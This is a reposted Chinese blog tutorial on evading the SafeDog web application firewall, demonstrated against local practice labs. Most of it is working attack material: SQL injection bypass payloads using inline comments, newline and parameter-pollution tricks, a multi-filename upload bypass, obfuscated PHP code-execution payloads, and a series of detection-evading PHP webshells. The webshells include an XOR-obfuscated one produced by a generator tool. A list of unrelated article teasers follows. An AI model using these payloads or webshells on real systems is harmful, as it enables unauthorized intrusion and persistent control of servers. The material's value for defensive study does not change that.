安全狗waf

news2024/11/15 17:44:27

安全狗waf安装

1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。

2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知

 

3、安装安全狗,以管理员身份运行

需要登录使用:

信息收集的WAF绕过

主要方法:

  • 更改请求方式
  • 模拟用户
  • 延时
  • 爬虫引擎
  • 代理池
  • ...

相关案例

1、安全狗默认配置(未开启CC防护)

通过7kscan工具进行目录扫描,全部状态码为200。

在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。

因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。

绕过方式为修改HTTP请求方法为GET。

2、安全狗开启CC防护

此时使用7kscan工具进行目录扫描,全部状态码为200。

使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。

安全狗防护日志处会产生“CC攻击”日志。

此时的绕过方式是延迟、爬虫引擎、代理池。

延迟方式:
  • 勾选“延迟扫描”
  • 或加大访问间隔

爬虫引擎:
  • 将User-Agent头替换为爬虫引擎使用的User-Agent,比如百度的爬虫引擎UA

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

漏洞利用的WAF绕过

sql注入绕过

安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。

WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。

大小写绕过(很老的WAF有用)

替换绕过(很老的WAF有用)

内联注释绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。

/!/如果被拦截,可以尝试添加版本号。

比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。

注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破

正常注入会被安全狗拦截:

使用内联注释进行绕过:

特殊字符绕过

换行符%0a

注释/**/中的内容不会被安全狗拦截。

结合特殊字符 %0a(换行符)进行绕过。

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/

参数值1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/ 对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。

因为%0a是换行,%23是#号,所以1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/会被认为是

1' *-- qqq /**

and 1=2 union select 1,2,3 *#*/*

-- qqq /*#*/均会被注释掉,所以最终拼接如sql语句中的为

1' and 1=2 union select 1,2,3

反撇号**````**

有些函数加上反撇号可以绕过

1'  and `sleep`(5) -- qqq

容器特性绕过

iis中的%

对于s%e%l%ect会被iis认为是select

apache中的HPP

HTTP参数污染(HPP)

对于传参id=1&id=2,最终接收的参数为id=2

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1'/*&id=2' and 1=2 union select 1,2,3 %23*/

首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。

注意不要使用##可能会被拦截,建议替换成%23,或者使用--

WAF性能因素绕过

检测长度绕过

WAF对检测数据包的包长或检测数据流长度,有一个限制。

  • 比如在真正的参数前面添加大量的%00进行填充。
  • 安全狗默认没有开启POST中的and or拦截,开启测试。

少量就会有拦截:

文件上传绕过

多filename绕过

filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";

Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type: image/jpeg

如下图:

RCE绕过

如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):

其他场景类似。

拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。

变量拼接

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4

编码加密传输

txt=assert(base64_decode('cGhwaW5mbygpOw=='));

如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:

txt=eval(pack("H*",'706870696E666F28293B'));

字符替换

txt=assert(str_replace('x','','phxpinxfo()'));

如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:

txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

传参方式

http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert

txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

漏洞利用的WAF绕过

webshell代码层绕过

  • 方法:变量覆盖、加密混淆、异或生成

环境:安全狗v4.0,防护等级中级

webshell.php文件

<?php @eval($_REQUEST['a']);?>

访问直接被拦截

安全狗扫描也会发现网页木马风险。

直接使用一句话木马原型会被拦截。

需要进行绕过bypass。

通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。

bypass思路:

  • 替换eval()
  • 替换$_REQUEST[]
  • 让eval()和$_REQUEST[]不同时出现

end()函数绕过

end()函数:输出数组中最后一个元素的值。

$_REQUEST是一个包含前端传过来的参数数组。

<?php eval(end($_REQUEST));?>

常量定义绕过

define() 函数定义一个常量。

<?php define("b","$_REQUEST['a']");eval(b);?>

字符串拼接+双美元符号绕过

<?php 

  $a='ass';   

  $b='ert';

  $funcName=$a.$b;

  $x='funcName';

  $$x($_REQUEST['a']);  // $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>

注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()

函数定义强行分割绕过

<?php 

  function abc($b){

    return $b

  };

  $a = abc($_REQUEST['a']);

  eval($a);?>

经测试,此方法被过滤,提示“内藏自定义函数”

类定义强行分割绕过

<?php 

  class User{

    public $name='';

    function __destruct(){

      // 在对象被销毁时会被执行

      eval("$this->name");

    }

  };

  $user = new User;

  $user->name = $_REQUEST['a'];?>

cookie传参绕过

<?php 

  $cookie = $_COOKIE;  // 获取cookie的数组

  foreach($cookie as $key => $value){

    if($key=='assert'){

      $key($_REQUEST['a']);

    }

  }?>

需要提前在本地浏览器存入key为assert的cookie。

读取预定义函数绕过

<?php 

  $a = get_defined_functions();

  $a['internal'][841]($_REQUEST['a']);?>

原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。

<?php 

  $a = get_defined_functions();

  var_dump($a); // $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名?>

自搭建数据库读取代码绕过

<?php 

  eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>

如果不行,可以添加换行~

<?php 

  eval(

    mysqli_fetch_assoc(

      mysqli_query(

        mysqli_connect('127.0.0.1','root','root','test'),

        'select * from info'

      )

    )['muma']

  );?>

编码加密传输绕过

webshell.php文件:

<?

// @eval(base64_decode(end($_REQUEST)));$a="base64_";$b="decode";$c=$a.$b;

@eval($c(end($_REQUEST)));

?>

传递的值使用base64加密,在webshell.php处进行解密。

  • 可以绕过waf对某些值的拦截,比如phpinfo()。

使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)

加密混淆

php加密网站

  • 会员注册|php源码加密|www.PhpJiaMi.com

将webshell进行加密,再上传至目标主机。

加密过后的内容:

连接加密过后的webshell时和连接源文件的方式一致。

异或生成

github地址:

  • https://github.com/emh1tg/webshell-venom
  • https://github.com/search?q=webshell-venom&type=repositories

目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -

利用脚本生成的php免杀webshell(每次生成都不同)

<?php class  FHNK{ function __destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return @$INLG($this->TM);}}$fhnk=new FHNK();

@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

使用该webshell:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1323690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python调取一欧易API并写一个比特币均线交易策略

比特币均线交易策略是一种基于比特币价格的移动均线的交易策略。它通过计算不同时间段的移动均线来确定买入和卖出点。 具体步骤如下&#xff1a; 确定要使用的均线。常用的均线包括5日、10日、20日、50日和200日均线。较短的均线可以更快地反应价格变动&#xff0c;而较长的均…

探秘 AJAX:让网页变得更智能的异步技术(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

AcWing算法提高课-4.1.2搭配购买

算法提高课整理 CSDN个人主页&#xff1a;更好的阅读体验 原题链接 题目描述 Joe觉得云朵很美&#xff0c;决定去山上的商店买一些云朵。 商店里有 n n n 朵云&#xff0c;云朵被编号为 1 , 2 , … , n 1,2,…,n 1,2,…,n&#xff0c;并且每朵云都有一个价值。 但是商店…

机器学习——主成分分析(PCA)

今天由我来向大家何为PCA算法及如何实现&#xff0c;PCA算法是无监督方法的典型&#xff0c;在此之前我们先来了解有监督学习、无监督学习以及半监督学习的区别。 一、有监督学习、无监督学习、半监督学习的区别 1. 有监督学习 监督学习是从标记的训练数据来推断一个功能的机…

C语言——小细节和小知识5

一、某些预处理指令 #ifdef #else #endif 这三个预处理指令用于条件编译&#xff0c;#ifdef用于判断某个宏是否被定义过&#xff0c;#endif用于结束#ifdef的作用范围&#xff0c;例如&#xff1a; #include <stdio.h>#define MAX 10int main() { #ifdef MAXprintf(&…

基于JAVA的无代码动态表单系统 开源项目

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 动态类型模块2.2 动态文件模块2.3 动态字段模块2.4 动态值模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 动态类型表3.2.2 动态文件表3.2.3 动态字段表3.2.4 动态值表 四、系统展示五、核心代码5.1 查询档案类型5.…

OpenHarmony鸿蒙原生应用开发,ArkTS、ArkUI学习踩坑学习笔记,持续更新中。

一、AMD处理器win10系统下&#xff0c;DevEco Studio模拟器启动失败解决办法。 结论&#xff1a;在BIOS里面将Hyper-V打开&#xff0c;DevEco Studio模拟器可以成功启动。 二、ArkTS自定义组件导出、引用实现。 如果在另外的文件中引用组件&#xff0c;需要使用export关键字导…

Educational Codeforces Round 160 (Rated for Div. 2)

Educational Codeforces Round 160 (Rated for Div. 2) Educational Codeforces Round 160 (Rated for Div. 2) A. Rating Increase 题意&#xff1a;给定一个由数字字符组成的字符串&#xff0c;且无前导零&#xff0c;将其分割成ab两部分&#xff0c;b不能有前导零&#x…

制造企业可以通过哪些措施改善设备OEE

设备综合效率OEE&#xff08;Overall Equipment Effectiveness&#xff09;是制造企业衡量设备效率的关键指标之一。高效的设备运行对于提高生产效率、降低成本和实现竞争优势至关重要。然而&#xff0c;实现高水平的设备OEE并不是一项简单的任务。本文将介绍一些制造企业可以采…

Linux I/O神器之io_uring

io_uring 是 Linux 于 2019 年加入到内核的一种新型异步 I/O 模型&#xff0c;io_uring 主要为了解决 原生AIO&#xff08;Native AIO&#xff09; 存在的一些不足之处。下面介绍一下原生 AIO 的不足之处&#xff1a; 系统调用开销大&#xff1a;提交 I/O 操作和获取 I/O 操作…

共享中药房新突破:亿发打造专业调度与强兼容性的智慧煎药平台

随着共享中药房、智能煎药中心等中医药信息化业务的蓬勃发展&#xff0c;越来越多的医疗机构开始引入自动化设备&#xff0c;将其应用到实际的生产环节中&#xff0c;以辅助或部分替代传统的人工操作。这种自动化设备需要通过智能配方煎药管理系统作为系统平台来进行对接和集成…

在统信UOS操作系统1060上如何部署DNS服务器?01

原文链接&#xff1a;在统信UOS操作系统1060上如何部署DNS服务器&#xff1f;01 hello&#xff0c;大家好啊&#xff01;今天我要给大家带来的是在统信UOS操作系统1060上部署DNS服务器系列的第一篇文章。在这个系列中&#xff0c;我们将一步步搭建一个完整的DNS服务器环境。而今…

docker小白第六天

docker小白第六天 容器数据卷是什么 首先&#xff0c;容器卷有个坑&#xff1a;容器卷需要加入privilegedtrue&#xff0c;如下图所示&#xff0c;是为了解决permission denied的问题。其中“挂载”的意思是相当于一个硬盘插到主机上。使用该命令。是扩大容器的权限解决挂载目…

FA2016AS (MHz范围晶体单元,内置热敏电阻)

FA2016AS晶振是爱普生推出的一款频率范围为38.4MHz 的石英晶体谐振器&#xff0c;内置热敏电阻&#xff0c;小体积贴片(2.0 1.6 0.65 mm&#xff09;&#xff0c;具有小型超薄、稳定性好、具备优良的耐环境特性及高耐热性强.满足无铅焊接的回流温度曲线要求的特点。该款无源晶…

MongoDB的查询分析explain和hint

本文主要介绍MongoDB的查询分析explain和hint。 目录 MongoDB的查询分析explainhint MongoDB的查询分析 在MongoDB中&#xff0c;"explain"和"hint"是两个用于查询优化和分析的关键指令。 explain 在MongoDB中&#xff0c;explain()是一个用于查询分析的…

【洛谷算法题】P1888-三角函数【入门2分支结构】Java题解

&#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P1888-三角函数【入门2分支结构】&#x1f30f;题目描述&#x1f30f;输入格式&a…

三、W5100S/W5500+RP2040之MicroPython开发<DNS示例>

文章目录 1. 前言2. 相关网络信息2.1 简介2.2 DNS工作过程2.3 优点2.4 应用 3. WIZnet以太网芯片4. DNS解析示例讲解以及使用4.1 程序流程图4.2 测试准备4.3 连接方式4.4 相关代码4.5 烧录验证 5. 注意事项6. 相关链接 1. 前言 在这个智能硬件和物联网时代&#xff0c;MicroPyt…

多目标跟踪学习

本文来源&#xff1a; 目标跟踪那些事儿-技术和课程介绍_哔哩哔哩_bilibili 为该视频的学习笔记 目的&#xff1a;我的学习目的主要是了解现有的跟踪算法&#xff0c;并着重了解卡尔曼滤波算法&#xff0c;利用卡尔曼滤波算法进行多目标跟踪等后续一系列估计算法。老师视频中提…

【C++篇】Vector容器 Vector嵌套容器

文章目录 &#x1f354;简述vector&#x1f384;vector存放内置数据类型⭐创建一个vector容器⭐向容器里面插入数据⭐通过迭代器访问容器里面的数据⭐遍历&#x1f388;第一种遍历方式&#x1f388;第二种遍历方式&#x1f388;第三种遍历方式 &#x1f384;vector存放自定义数…

Java 基础学习(十三)集合框架、List集合

1 集合框架 1.1 Collection 1.1.1 集合框架概述 Java 集合框架是一组实现了常见数据结构&#xff08;如列表、树集和哈希表等&#xff09;的类和接口&#xff0c;用于存储一组数据。 开发者在使用Java的集合类时&#xff0c;不必考虑数据结构和算法的具体实现细节&#xff…